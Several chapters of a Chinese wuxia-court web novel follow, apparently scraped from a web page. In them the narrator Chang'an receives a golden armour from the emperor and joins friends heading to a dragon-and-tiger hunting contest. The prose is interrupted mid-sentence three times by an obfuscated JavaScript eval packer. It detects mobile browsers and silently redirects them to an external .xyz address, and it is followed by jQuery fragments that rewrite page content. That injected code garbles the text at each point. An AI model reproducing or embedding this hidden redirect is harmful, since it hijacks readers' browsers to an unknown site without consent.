我正愣神,薛环再三追着要我保证,语气温柔,却不依不饶。于是我竟然鬼使神差的乖乖地点点头,下一刻,我心里立即惊觉:啊,我竟如此顺从!!对薛环,这个十二三岁的小子?! 我如此温顺的反应和态度,让我感到很是懊恼,想要抵抗,却发现自己内心深处竟然有种就是忍不住想要听话的服从感。居然还有点想要臣服,想要依附的踏实感和归属感。 我草,我怎么了这是?我是什么很下贱的人吗?我曾今可是武林盟主座下,高高在上的凤主。 就算如今做了朝廷的爪牙,那我也是大汉天子的鹰犬,我怎么会对薛环……他就是一个半大小子,虽然出身鬼城,但是之前也就是个走街串巷的二流子,比乞丐差不了多少,我怎么会对他如此这般…… 我正为自己的异常,感到疑惑烦闷沮丧,花铁铁和堂邑夫吵吵闹闹的朝这边过来。 薛环侧头看了看他们,微微蹙眉,拍了拍我的肩头,叫我别多想,然后和我道别,转身就走。 我追上前问道:“你不用轻功吗?” “我哪会什么功夫?都是幻觉。”薛环呵呵一笑,跟我再次道别,快步离开。 “哎,那臭小子就这么走啦?”花铁铁跑过来,站在我身边,看着薛环远去的背影道。 “他还有事儿。”我收回视线转身道。 “他怎么老有事儿,一个半大小子,哪那么多事儿?”堂邑夫简直好奇死了。 “没受伤之前,就是街溜子,受伤之后,这么多事儿,又是咬脐郎,又是鬼城的,哎,他都跟你说什么了?到底怎么回事?棺材……青铜门……幻术……” 堂邑夫和花铁铁自然一大堆问题,叽叽喳喳一股脑儿,问出来。 48. 倔驴 也许是真的折腾累了,也许是心情有些波动,总之我不想走路,于是堂邑夫习惯性地把我背在背上,我心事满满地缓缓地给他们解疑答惑。 听了我的讲述,花铁铁道:“啊,先不说鬼城里面到底多凶险,这个薛环还挺仗义挺聪明的嘛,不愿我们去送死,直接把门关了,还知道我们不是吃气的人,不会眼睁睁看着堂邑夫凭白挨他一拳,一定会去找他打回来,用这招来引开我们追他,啧啧,心眼子也够多的,可是……” 是幻觉吗?如果是幻觉,我们三个因为药物的影响,不能运用内力,动作变慢,才导致堂邑夫被薛环轻而易举的击了一拳,那引路人呢?引路人也是鬼城的人,应该也有避免致幻的东西放在身上,他怎么就那么容易被薛环攻击?还有,他嘴里就含了个东西,不受药物影响,动作就可以那么快啊!? 我只觉得花铁铁话真多,同时又庆幸自己刚才在薛环面前,适可而止,没这么多疑问。人的好奇心是很难克制的,堂邑夫也忍不住问了很多,比如那个妇人,比如薛环的身世……这些何尝不是我的疑惑呢? 可是……“这些他都没有告诉我。不过他说会告诉我的,不会让我等太久,大概忙完手头的事,回来就能跟我和盘托出。到时候我再告诉你们吧。眼下就别问了。”我脸上带着按捺不住的疑问,脑中还在思索,嘴上赶紧说完,防止他们继续叽叽喳喳问问题,扰乱我思绪。 “啧啧,他一个小屁孩儿,一天到晚的有什么事儿?”花铁铁大咧咧地继续问:“你就没问问他,他到底有什么事儿要忙吗?” 我很厌烦的样子,把头埋进堂邑夫的脖颈子里,“哎呀,你好烦,你这么感兴趣,你自己去问好了。他大概还没走远,这里又不是鬼城,没有幻术,你施展轻功,完全能赶得上。” 花铁铁啧了一声,不乐意道:“哎呦,我一个大美女追着一个半大小子,问东问西像什么样子,不如你去,你们都是小屁孩儿,问问题,会比较方便嘛!” 你才是小屁孩儿,你们全家都是小屁孩儿。我愤怒不已,黑着脸大叫一声,“滚!”喊完,我直接从堂邑夫背上一个飞身下来,朝长安城奔驰而去。 “干吗嘛?又生气,又自己滚掉了?”花铁铁看着我的背影喊道。 堂邑夫道:“唉,铁铁你也不要全赖长安,也不是长安不问,那是个咬脐郎,天生的犟种,他不说,谁也问不出,长安怎么肯去主动碰一鼻子灰?” “啊,咬脐郎都是天生的犟种吗?”花铁铁若有所思。 “对啊!” 花铁铁忽然顿住脚步,喃喃道:“什么是咬脐郎?自己咬自己肚脐啊?那这柔韧性还怪好的哩!”花铁铁低头看着自己的肚子,然后弯腰低头试了试。脑海中又浮现那个虎背蜂腰螳螂腿的英俊男子的身影。这么高难度的动作,可能也只有他那样的人才能做出来。花铁铁心中不由的敬佩,也不由的惋惜。那么惊艳的一个人,说死就死了。 堂邑夫哈哈一乐,“什么自己咬自己肚脐?是生人出娘胎的时候紧咬着母体的脐带不松口,才被称作咬脐郎的。据说咬脐郎都是天生的犟种,这辈子只听自己的,谁的也不听,犟的要死,他们不愿做的事儿,不管你怎么逼,以死相逼,哎不管用谁的命以死相逼吧,哪怕那个人是他的至亲,心尖尖儿,就算是他自己的命,都没用!不愿意就是不愿意,就那么犟,非犟到你怀疑人生,最后自我妥协,自先放弃为止。” 花铁铁转着眼睛思索一番,想起过去杜晦种种,觉得果然如此,他决定的事,从来没有人能改变,他说都得听长安的,于是包括他在内,就都听长安的,没有人可以例外。 花铁铁吸了吸鼻子,不禁感叹:“还真是!”那样的宠爱她也想有,可是再也没有机会能够争取到了。花铁铁眼圈微微红着,回头看了看七绝地,道:“是挺犟的,犟死了,说死就死,都不带犹豫的。” “走,撵上长安,我带你们去早市吃水盆羊肉去,有一家特别好吃,比长乐水馆的还好吃。”堂邑夫提议道。 “我还是觉得长乐水馆的好吃。”花铁铁又吸了吸鼻子。 “那咱们就去长乐水馆吃。”堂邑夫咧着嘴笑道。 “算了,还是去早市你说的那家吧。”花铁铁走在前面,傲娇道。 “行,都听你的。”堂邑夫跟在花铁铁身后,心中都是满足,欢喜简直一刻也藏不住,溢于言表。 我们折腾一晚上,钱也没少花,罪也没少糟,却连鬼城的门也没进去,这件事万万不可叫除了我们三个……嗯,四个,以外的人知道,不然我们两个玄止境加一个八品,就要丢死人了,没脸在世上混了。 所以我们大肆鼓吹了一下自己的英勇无畏,然后把鬼城说得不值一提,一片废墟,是完全没必要再次光临的破败之地,就赶紧翻篇了。 可是花铁铁称心称手的兵器还是要有的。我们查阅古籍,打算另辟蹊径。 夏季的日子是漫长的,长安城的宵禁恢复了,但太子殿下下旨特许长安西市万园街继续解除宵禁,正常营业,梁王和长公主表示赞同,原本不太赞同的丞相也就没发表什么意见。 我和花铁铁脸上的油彩终于渐渐淡去,七皇子也吃下了至关重要的第四剂药,依旧如从前一般反应,总是昏昏沉沉的,一天里大约有十个时辰是睡着的。醒来的时候,除了洗漱饮食等日常,也总是呆呆的发愣,像是在沉思什么。 花铁铁便总揶揄我医术别是不高,好好一个疯子,给治成傻子了。我叫她滚。这个时候,七皇子就笑笑,夸赞我医术高明,说他没傻,说他的病确实好多了,只是在慢慢适应,说恢复总是需要时间的。 这特么是咱们大橡能说出来的话吗?花铁铁对好似变了一个人的七皇子,非常不适应,别说她不适应了,七皇子忽然这么端庄持重,文质彬彬,起初大家都不适应,后来渐渐就习惯了,毕竟他还是睡着的时候多。 不过我们想,七皇子要是从来没生病,现在也该是那般雍容儒雅,瑶环瑜珥。他只是在慢慢恢复成他原来的样子,慢慢找回原来的那个自己而已。 盛夏雨季来临,对于雨天,我说不上喜欢,但不讨厌,虽然不能出去玩,但是坐在檐廊下,静静听雨也是一件风雅事。 可是平安最讨厌雨天的,总是噩梦连连,有时一整晚都辗转反侧。夏雨的雷最是轰鸣阵阵,每当那个时候她就嚷嚷着想郑清了。 于是我们顶雷冒雨,一起去上林苑南苑三十六所养马场的上驷苑找郑清,有亲王的陪同,我们能够在上驷苑上位者休憩的兰汀别宫下榻。上驷苑圈养的是大汉最上等的马匹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764263|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,皇帝的御马苑就在其中。 但是没有谕旨,我们是不能就观赏天子御马的,就算是亲王也不行,于是我们就老老实实的随意赏玩一番,就在观马台落脚听雨,郑清在亲王面前总是难免拘谨,于是平安就随他去驯马师的住处小聚。 皇家驯马师的住处,条件比寻常富家都要好些,唯一不足的就是总有一股草料味儿,和弱弱的马粪味儿。这些味道放在别人身上,沾染了一点儿,平安就受不了,但是在郑清身上,平安就一点儿也闻不到,就算郑清刚从马厩出完马粪,还没来得及沐浴更衣,平安也完全闻不到,真是奇了! 雨越下越大,瓢泼的大雨,冲洗着上驷苑,上林苑,整个长安和天下。 乌云密布,云层特别厚,特别厚,翻滚着,压得离地面很低,仿佛我施展轻功轻轻一跳就能够摸得到。可惜云里电闪雷鸣…… 花铁铁说雨天放风筝会怎样? 我说傻子,风筝会被雨打的稀巴烂。 花铁铁说用油纸做。 硬要放,怎么也拦不住,我说行,油纸不怕水,但雷雨这么大,要么放不起来,要么“咔嚓”一声,死定了。 风筝引雷,雷击毙命,这是常识,花铁铁不是不懂,就是单纯好奇,性子莽撞,闲着没事,无聊极了就老想作死找刺激。 花铁铁又说:“这么大的雷,也是罕见,是不是有什么妖怪精灵在渡劫啊。” “渡劫,一般都是晴天霹雳,平地惊雷的那种,雨天起雷是正常,算什么渡劫啊。”我趴在轩窗上,伸着小手接雨。 “等雨小了,咱们去朝天阙吃辣子火锅去啊?”花铁铁总是想一出是一出。 “这雨怕是不会小了,我估摸今晚可能得住在这里了。”说完,我看着雨幕发愣。 庭角悬铃,滴水成链,檐子挂着的一串串的锁通雨链,骤雨湍降,从屋顶顺着雨链飞流直下,叮咛成音,落水成曲。 亲王们品茗论道,细语柔和而舒缓,因密雨涌动而阵阵作响的雨链声,自是锦上添花。 生活这般闲暇惬意,上天的恩赐不薄。可花铁铁是个爱热闹的人,她是个劳碌命,不奔波就浑身难受,说就算下刀子,这顿辣锅子她今天也必须吃上。唉,还是大馋丫头! 咱就是说,这个“犟”啊,也不是咬脐郎专属!就比如,花铁铁执拗起来,倔驴似的,不比那犟种好多少。 从前在江湖,我刚认识杜晦和花铁铁的时候,最初也有不适,我之所以,能忍受他们两个,也许是因为在他们之前,我曾见过上劲儿的蠢猪,相比之下,我便总觉多有庆幸,于是与他们相处甚好。 渐渐交深,我发现只要顺毛摸,犟种就都听我的,犟驴也不会太折腾,于是后来成了生死至交。唉,如今就一个倔驴了,得好好珍惜,她要干啥就干啥吧,雨天吃辣子火锅,也挺好的,热热闹闹的烟火气,是比诧寂听雨要生动的多。 朝天阙就我们一桌客人,也便没啥好拘束的了,花铁铁盛情邀请老板娘虞三娘子和我们一起。三娘子却之不恭,于是又加了酒菜,她性子泼辣好爽,很对花铁铁胃口,于是气氛更加欢腾,觥筹交错,推杯换盏,嘻嘻哈哈,吵吵闹闹…… 平安心中连日的阴霾,一扫而空,醉醺醺依偎在郑清肩头,幸福满足,笑靥生辉…… 49. 赐甲 花铁铁和虞三娘子喝高了,醉了,动作也更加豪放了一些。她让我坐在她身边,伺候酒水,我向来不与倔驴争锋,于是顺从。 花铁铁夸我乖巧懂事儿,我还挺开心的,于是更加尽心尽力,平安劝花铁铁和虞三娘子别喝了,我还嫌平安扫兴。 谁知下一刻竟一个不慎,我便遭受酒劲上头的花铁铁无意识的一个肘击,不偏不倚,打落了两个门牙和两个侧牙,场面一堆很混乱。 若是下牙,我还能忍受,可那是四颗装点门面的牙,平时不管是吃饭还是吃糖,我都不舍不得用它们,刷牙的时候对这几颗牙,也是格外用心,如今却那么轻易就失去了。 成了一个名副其实的豁牙子,我的心情不亚于一个缺胳膊少腿的残疾人。嘤嘤嘤,早知道和平安一起扫兴了,嘤嘤嘤…… 我心里难受的不行,在卧房里闷头哭了好久好久,刘景听说了这事,就带着一件礼物,亲自驾到潇湘馆,来哄我开心。 当初我收服李大娘子,替刘景拿下花小楼,他欢喜不已,那日在画舫上曾承诺给我的神秘礼物,就是这个。 他到我房中来,像个父亲一样抱着我,哄了我好一阵,本来我都没那么伤心了,大约再哭一会儿,就能收住。可他上赶着一哄,扑面而来的温情,让我更加伤心委屈了。 他心疼不已,却又兴奋不已地像个少年,想着法子转移我的注意力。我倒也好奇起来,到底什么礼物,让他这个送礼的这么雀跃。 刘景捂着我小粉桃似的眼睛,引我到礼物前面,让我亲自将盖在礼物上的红布掀开,我觉得流程有点不太对,但心思都在好奇啥礼物上,把皇帝激动成这样子,一定不简单。于是便也没细想,只按照刘景的要求,摸索着去抓红布。 一边儿的花铁铁却酸酸地说:“礼物盖着红布呢,眼睛可以不用捂,捂上还怎么掀红布啊,掀开红布,还捂着眼,这是给看还是不给看啊。啊,合着就是给我们大伙过眼瘾,长安她自己看不看的不要紧呗?!” 花铁铁用嫉妒我的语气,发着牢骚,诉着埋怨,控诉陛下偏心。 我们一听,对啊,蒙着红布,还捂什么眼睛呢?刘景讪讪地松开蒙着我眼睛的手,我仰头与之对视了一眼,忽觉得刚才的举动甚是好笑,不禁呵呵乐起来,刘景看着我的豁豁牙愣了一下,显然有些忍笑,别了别头清了清嗓子,复又看着我宠溺地催促道:“快,快掀开看看,喜不喜欢?” 红布掀开,众人不由瞪大眼睛,赞声一片:一顶凤翅紫金冠,一套锁子黄金甲,一双藕丝步云履,一根如意金箍棒! “这,这是齐天大圣的行头!?”花铁铁围着甲胄,赞叹不已,恨不得把这一身行头看到眼睛里去,震惊、羡慕溢于言表:“天爷啊,陛下竟如此宠爱长安?!” 天爷啊,我也没想到啊,这可是甲胄,虽然是一副小小的甲胄,但却是真正能穿着上阵杀敌的甲胄! 要知道,自古律法,禁甲不禁兵,门阀世族,可以家养私兵,收藏兵器,甚至战车,但若敢私藏一副盔甲,那便毫无二话,一律以谋反论处,死刑起步,上不封顶,满门抄斩那是轻的,起码夷三族诛九族。 一个寻常武夫,若是拥有了甲胄,便可以一当百,而我,可是玄止境的高手,亦非军中人,我若拥有了甲胄,那……那可不是闹着玩儿的,有了它,我几乎无敌了。天子赐甲与我,这是无上的君恩。陛下对我之爱信,竟深沉若斯?!我简直难以置信,张着嘴巴,瞪着眼睛…… 再看众人也都震惊不已,神态各异,从前我宠信之深,圣眷之浓,就人尽皆知,如今我在皇帝心中地位,更无人敢及,已然固若金汤。 我呆了片刻,才回过神来,赶紧跪地对着刘景,欲行三叩九拜之礼,谢主隆恩。刘景却将我扶起来,笑着道:“说好要送你一个惊喜,挑挑拣拣都不合朕心意,前些日子,听说你喜欢那孙大圣,喜欢他一身行头,便叫人做了给你,来,快去换上,叫我看看。” 刘景特意用了一个“我”字,是想让我从心底感受他的疼爱亲昵,使我安心放心,不要惊慌。可我怎么能仅凭一个字,几句话,就镇静下来呢?皇帝抬举我,我自己可不能不识抬举。 这身甲胄,前身是太子殿下年幼时,秋狩穿的,刘景命人将其整改一番,赐赠与我,其中意义更是非凡。 我绕着甲胄转着,满眼欢喜,闪烁着精光,却只轻轻摸了摸甲胄,摇了摇头。 “怎么不喜欢?”刘景看着我柔声问道。 我又摇了摇头,道:“自然是极其喜欢的,因为太喜欢了,舍不得穿。”实在是太贵重了,现在的我不配穿。我得保持清醒,万万不能飘飘然。虽然我的清醒,可能会扫了上位者的兴,但是更会得了上位者的心,不是吗? “啊哈哈,喜欢就好,有什么舍得舍不得的?快去穿上,给我看看。”刘景道。 平安见我迟疑,走过来推了推我,“长安,咱们快去里间换上,别让陛下等急了。” “哼,她何德何能敢穿这套金甲?怕是烫得慌,穿不上!”花铁铁在一边酸溜溜地小声嘀咕着。 我闻言看了花铁铁一眼,然后翻了个白眼,狠狠瞪她。花铁铁哼了一声,也白了我一眼,转身出去。 众人只道我们小儿女家家的因为接二连三的事情记仇斗气,争风吃味,便也没多想。 我上前抱着刘景一只胳膊,摇着头纯真的看着他,软软糯糯地说道:“陛下,我,我,花铁铁说得也不全无道理,穿这套甲胄,我确实有点心虚,我要好好珍藏起来,放在……放在床头,日日夜夜的看着,不忘陛下对我的宠信,永永远远铭记陛下的恩典。陛下陛下,您对我太好了,我都不知道该怎么回报您啦。”我撒着娇,美中不足的就是我前牙没了,说话有点漏风。 “啊哈哈……你在朕身边就好,啊哈哈哈……”刘景开怀大笑。 这件事儿,让我心情好了很多,因为花铁铁看到我被赏赐了金甲,好胜心作祟,一下子有些接受不了我和她在刘景心中地位悬殊这么大,竟然抑郁了。 看着她日渐萎靡不振的样子,我就痛快,就暗爽,就扬眉吐气,就得意洋洋,就身心舒畅……非必要,整日里也不怎么出房间,只对着那套金甲,呲着豁豁牙傻乐。甚至晚上睡觉,都放在床铺上,搂着睡觉。 花铁铁就揶揄,说这么小的甲胄没人偷,偷了也穿不上云云 我说,穿得上也没敢偷,死罪,私藏甲胄,死全家,谁敢偷?这可不单单是甲胄,这是恩典,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777594|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱宠,是独一份儿的专门定制!!! 花铁铁心情越发低落烦闷,于是就整天去吃朝天阙的辣锅子过瘾,用麻辣解她心中酸楚。后来竟叫了朝天阙的外送,把辣锅子带到潇湘馆来了,还拉着休沐的堂邑夫,一起吃,顿顿吃。 我劝堂邑夫少吃些,就要学宫大考了,要是痔疮又犯了,就不好了。可是堂邑夫非是不听,非要舍命陪他的心上人。 平安怕堂邑夫不陪着吃,她又要被花铁铁拉着陪吃,她已经被花铁铁拉着吃了好几天了,想休息一天,于是便说什么就这休沐的一天三顿,吃的不多,应该没关系。 可是堂邑夫有痔疮,痔疮任性娇气的很,脾气古怪得很,才不管你吃多吃少啊,一个不注意,稍稍不顺心,它就作妖想犯病!我很心疼我的大螳螂,他每次犯痔疮,都差不多要去半条命。 满头大汗的花铁铁闻言,不乐意了,用筷子指着我,问我映射谁。 我自然是不会承认的。 堂邑夫赶紧插嘴说,羊肉好了。花铁铁剜了我一眼,筷子在锅里一捞,塞了一大口羊肉在嘴巴里,用力嚼着,仿佛吃的是我。 刚出锅的羊肉,她也不怕烫死。 果然花铁铁眼里噙满了泪水,堂邑夫看了,赶紧递了一杯冰镇酸梅子饮。然后又在花铁铁的催促下,和她一起继续大快朵颐,对我的百般劝诫,视若罔闻。 好吧,我理解,毕竟原本他刻苦学习,努力挣个好前程,也是为了花铁铁的青睐。如今为了花铁铁,只是冒着耽误一下学业的风险,又算得了什么? 唉,要是有个人也能为了我这样,多好啊。好羡慕花铁铁啊。 我哼了一声,转身出了正殿,独自坐在汤泉池子边,泡脚,透过窗子看了看正殿里吃得嘶哈嘶哈,一把鼻涕一把泪的两个人,然后又低下头来,看了看自己的小胳膊小手小腿小脚丫,心想着要是自己能够长大成人,喜欢我的爱我的,也应该是有的。 我笃定地,看着水里的倒影,点点头。我那么可爱,若是长大了,一定有人深爱我,爱我入骨,爱我如命。 我抬头侧眼,看了看卧房窗边,放回水晶罩子里的,十分合体的金甲,才发现,越发笃定,就越发苦涩。 平安到我身边来,问我想什么呢? 感受到关心和温柔,我心中越发触动。我吸了吸鼻子,含泪,有些哽咽道:“陛下盛宠,不知何以为报。” 平安不懂我心思,不明所以,只真以为我所言便是我所忧。 平安蹲下身子,赶紧掏出帕子,一边给我擦未落的眼泪,一边柔声道:“瞧你感动得,报君黄金台上意,提携玉龙为君死,你的这份儿心思,陛下是懂的,正因为懂,才如此盛宠。陛下的恩情,慢慢报,反正一辈子呢。” 报君黄金台上意,提携玉龙为君死!我不断重复着这句话,最后畅快地喊了出来,平安似乎受到我的感染,和我一起喊着:“报君黄金台上意,提携玉龙为君死……” 大汗淋漓,热火朝天的花铁铁和堂邑夫也加入了进来,跟着一起喊,越喊越激情,越喊越斗志昂扬…… 多年后,想起那一刻,我们心情依然如斯,那是少时对君主的忠诚,对理想的热忱,尽数泼洒在最美好的时光里。 50. 凑热闹 花铁铁得到消息,说汉中一带出了两个祸患,一个是林中山君出没,一个是江中蛟龙现世。 近日汉中官府下发榜文,当地首富牵头众富绅巨贾出资共同筹办举行降龙伏虎大会,各路高手云集,花铁铁心动不已,拉着我一起去凑个热闹,我不愿意。 根本不可能只是去凑热闹的,肯定是要我去给她打下手的。我还不知道她是什么人吗?一撅腚,我就知道她要朝哪放屁。 我早劝她辣锅子还是少吃,非是不听。天天搞得内火狂烧,无处发泄,憋得难受,居然头脑一热,要去降龙伏虎,我也是服了。 且不说蛟龙,就说那山君,是闹着玩的吗?六年的老虎是虎,十二年的是斑斓,十八年的是大虫,二十四年的白额,吊睛白额大虎已经是世间少有,再往后就是三十年的山君,你听听你那消息里说的是什么? 正是山君!老而不死的山君!那特么都是山君了,咱们才几岁,敢去和它打照面? 想死我不拦着,别带上我就行。我再三拒绝花铁铁。 花铁铁不依不饶,居然激将我,说我天天嚷嚷着什么报君黄金台上意,提携玉龙为君死,结果都是虚的,说我现在是买了个茶壶,砸了个肚——就特么剩个嘴儿了。 “果然不单纯是去看热闹的,我就知道你有企图。”被花铁铁讽刺,我立即反击。 花铁铁被拆穿了,恼羞着继续叫嚣:“长安,你变了,真是变了,变得我一点儿也不认识了。啧啧,报君黄金台上意,哼哼,提携玉龙怎么舍得死?!唉,变了,真是变了,啧啧啧,这就是人心啊,最是善变……” 我默不吭声,面不改色,却也着实被她激到了,嘴上反驳骂道:变你爹。心里却想着,那可是山君,世间极为难得的山君,我要是能给陛下弄个山君虎鞭回来泡酒壮阳,那得多得君心啊。 “山君,也不是不行,但是蛟龙不行啊!”我松了口,同时也给花铁铁设了限。 山君到底是陆上的玩意,蛟龙那可是水里的,我们水性好,但是在水下,也不敢轻易造次,毕竟那不是咱们的地界儿。以我们的实力,整几条大鱼虽不在话下,却也费劲。我门里就有在水下遇到大鳖大蟒吃亏丧命的,这些玩意在水里劲儿大得很,那叫一个生猛,绝不是闹着玩儿的。 而且那是蛟龙,蛟龙啊!传说蛇经五百年为蟒,蟒经五百年成蚺,蚺经五百年化虺,虺过江走蛟是为蛟龙,到了蛟龙这一步,名称上就已经带龙了,便在不是凡物,蛟龙之后是螭龙,螭龙之后是虬龙,便生了龙角,也叫角龙,虬龙之后是应龙,应龙和烛龙,祖龙并称三大真龙,这便成神了。 应龙,又称黄龙,老龙,是远古创世,造物,灭世三位一体的巨神,传说盘古就是一条应龙抚育出生的。 “特么咱们给这条蛟龙使绊子,万一它有朝一日修炼成应龙,有咱们好果子吃啊?搓搓手指就给咱们灭得渣都不剩。”我道。 “那咱们就干脆——一不做二不休……”花铁铁阴狠着脸,低声道,手作刀状,往下一切,示意屠龙。 花铁铁果然心思不单纯,还痴心妄想对蛟龙下手,瞧瞧她那轻而易举地动作,仿佛被拿捏的不是一条蛟龙,而是一条蚯蚓。 闻言我眼珠子都要瞪出来了,这特么真是去找死的,还特么拉我垫背!!!要不怎么说无知者无畏,莽夫爱逞匹夫之勇,唉,倔驴之所以倔,是因为蠢,为什么蠢呢,是因为无知,为什么无知,是因为读书少,花铁铁你好不好多读点书,心中也好对天地万物充满敬畏。 看着花铁铁还在那里小刀切蚯蚓,我脑仁儿疼得都要爆炸了。 “我草,大姐你是对自己太自信,还是觉得我死不死无所谓?”我简直无语死了,当即打起退堂鼓,“我不去了不去了,山君的热闹我也不去看了,你自己去吧,你爱怎么评价我怎么评价吧,想怎么奚落怎么奚落,诋毁谩骂都可以,我不在乎了,我怕死,我虚伪,我就是个嘴儿,我认了,此去山高路远,咱们……”说着我就赶紧起身,向她行江湖告别礼。 “别别别,别啊……”花铁铁一把拦下行礼告别的我,退让道:“行行行,随你意,都听你的行了吧,既然你这么怕,蛟龙咱就算了吧,不过你说的那些也太抬举这个蛟龙了吧,还万一它修炼成应龙,有咱们好果子吃!灭得渣都不剩!切! 等它修炼成应龙,咱们都死了好几上千年了,别说咱们投胎多少回了,转世成什么了,还是不是人都不好说,就说人应龙这么大个神,闲着没事了,跟咱们记仇能记个上千年,成神了,还得把咱们找出来报复一下啊。啧啧啧,别是为了报复咱们才成的神吧。 我看就这点心胸,那遇着点事,就是个心结,那修行之路全是绊子全是坎儿啊,那还真不好成神,要是这样都给它修炼成神了,那我敬它是条汉子,它来报复我,我也情愿。” 我满脸怀疑,显然不信她能保证不打蛟龙的主意,始终不肯轻易点头。 花铁铁实在看不上我的小心谨慎,瞻前顾后,觉得我一点原来在江湖上勇往直前大刀阔斧的霸气都没有了,实在是不给力的很。 花铁铁认定我软弱退缩不仗义,感到无尽的憋屈,第一次见我如此不痛快,没顺顺当当的从她的意,她心口堵得实在太难受了,满脸嫌弃和怨气,恼怒地在一边喘粗气,表达不满:“要搁在从前,这事用我撺掇怂恿你吗?早听着风闻着信儿,你就上路了,生怕比我晚一步。现在呢,哼,果然,你现在是朝廷的鹰爪,陛下的狗了,惜命的很,哼!” “喂喂喂,你要不要听听你在说什么?你现在是天子的更衣,也是陛下的狗,以后做了将军,也是朝廷的鹰爪,都是食君之禄的奴才,你在这里清高洒脱个什么?哦,我懂了!怎么?陛下没给你特赐,你难受啦,难受得都要死了?!脑子也坏了?!”这等反话也说?以为自己还是江湖人啊?!我斜了花铁铁一眼,暗示她咱们身在宫中,说话还是注意些的好。 花铁铁稍稍收敛,咬着嘴唇生闷气,还故意喘那种很粗很粗的气,肩膀都跟着动的那种,以显示她此时此刻到底有多不满,多愤慨。果然,大夏天的辣子不能多吃,不然就跟现在的花铁铁一样,是个炮仗,还有点潮(方言:傻,憨,彪的意思。) 我看着她无比幼稚的样子,不知道她为啥要闹这么一出,忽然转念一想,瞬间了然:这个花铁铁,又是山君,又是蛟龙的,应该有两个意图,借机彰显一下自己的本事,更重要的是想要讨好皇帝!山君身上可不止虎鞭一处宝物,那简直浑身是宝,蛟龙就更不必说了,传说吃了龙珠能长生不死。 花铁铁若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781878|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带头降龙伏虎,回来敬献皇帝,得的恩赐想必与我的金甲相得益彰,甚至更胜一筹也说不定,如此她也便有了面子。 可这代价也太大了吧,不要命啦!?不过她这人就这样,不要脸可以,但面子比命重。唉! “也罢!人各有志!你不去我自当独去,能回来,你给我摆宴庆功,死了,这就是咱们最后一面儿。”花铁铁是高傲的,刚才已经伏小做低求我了,再三被拒,便也作罢,可是此志不改,降龙伏虎大会她去定了。 花铁铁豪气万丈地说完,朝我拱手行礼,然后转身就飞走了。决绝得很,一句话的机会也不再给我。 我自然一个飞身跟上,唉,果然是花铁铁,倔驴,听劝她就不叫花铁铁了。我还是跟着点好,关键时刻,怎么也能帮她一下,拉她一把,拦她一……拦肯定是拦不住的。 这种事,自然少不了堂邑夫,他跟着一起去,万一花铁铁死了,怎么也能见上最后一面。若是花铁铁死在堂邑夫怀里,两人也算圆满了。不然,我家大螳螂得遗憾一辈子,说不准,以后无数个岁月里,总有那么一两晚难以入眠,要埋怨我,当初为什么不叫上他。 “还没启程,这还没出长安地界呢,你说点吉利话行不?什么叫我死他怀里,两人才算圆满。”花铁铁简直要气死了,说什么也不愿去学宫带上堂邑夫。 我说不带上他,我也不去。于是她就同意带上堂邑夫了,但是事先说明,要是有危险,她不行了,得我抱着她,死都不让堂邑夫碰他。 啧,那上次出鬼城结界的时候,堂邑夫一左一右牵着咱俩你忘了?歇歇等死的时候,咱俩一左一右舒舒服服的躺人堂邑夫臂弯里,你忘啦?!哼!! 我说:“那咱回吧,去,你无非就是死在堂邑夫怀里,或者我怀里,我身子骨小,抱不住你,又心软,见不得你死,接受不了你在我怀里咽气儿,咱老老实实在汤泉宫里呆着吧,闲着没事给陛下更更衣,喂喂药,挺好的。” “啧!”花铁铁简直气死。 说话间就到了学宫。我最是会传话,当着花铁铁的面,把前前后后一字一句,包括神情语气,一五一十情景再现一般,原原委委给堂邑夫演了一遍。 花铁铁端着架子,仰着下巴,倨傲道:“是长安非要带上你哈,我是看在她的面子上,才答应的,你爱去不去,我可没求着你。” 降龙伏虎是大场面,堂邑夫一听就来了精神,道:“我挺想去的。”对花铁铁信誓旦旦,“不过我保证,若有危险,我拼死也要护下你,就算死,也绝不让你死我前头,定要守护你到最后一刻,到时候铁铁,我能死你……” “不能,死远点。”花铁铁冷声打断堂邑夫,然后帅气的转身就走。 堂邑夫依旧呲着牙咧着嘴,笑得眼睛眯成一条缝,乐呵呵地屁颠屁颠跟在花铁铁屁股后面。 “瞧你那不值钱的样。”我跟上,瞥了堂邑夫一眼,打了他屁股一下,既嫌弃又心疼,道:“什么死不死的,咱们就去看看热闹,开开眼儿,开开心心去,平平安安回,其他的可不兴乱嘚瑟。” “哎,都听凤主大人的。”堂邑夫有一种重温江湖的柔情之感,连称呼都改了。 这声凤主大人,还真是又熟悉又陌生呢!那么,就……哈哈,我凤主又回来啦!! 51. 野餐 